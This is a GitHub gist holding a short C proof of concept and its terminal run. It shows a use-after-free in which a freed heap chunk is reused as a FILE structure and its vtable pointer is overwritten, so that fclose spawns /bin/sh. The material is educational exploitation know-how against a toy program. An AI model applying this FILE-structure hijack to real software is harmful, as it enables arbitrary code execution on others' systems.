Created
September 29, 2016 07:14
-
-
Save inaz2/129f28a376a95ca5096f414596246e8b to your computer and use it in GitHub Desktop.
use-after-free and fopen(3) / https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$ gcc uaf-fopen.c | |
uaf-fopen.c: In function ‘main’: | |
uaf-fopen.c:20:25: warning: assignment makes pointer from integer without a cast [enabled by default] | |
*(void **)(p1+0xd8) = 0x601028-0x88; | |
^ | |
$ ./a.out | |
p1 = 0x1fc8010 | |
fp = 0x1fc8010 | |
$ id | |
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare),116(libvirtd),999(docker) | |
$ | |
Segmentation fault (core dumped) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
void wontcall() | |
{ | |
system("false"); | |
} | |
int main() | |
{ | |
char *p1 = malloc(0x100); | |
printf("p1 = %p\n", p1); | |
free(p1); | |
FILE *fp = fopen("/etc/passwd", "r"); | |
printf("fp = %p\n", fp); | |
strcpy(p1, "/bin/sh"); | |
*(void **)(p1+0xd8) = 0x601028-0x88; | |
fclose(fp); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment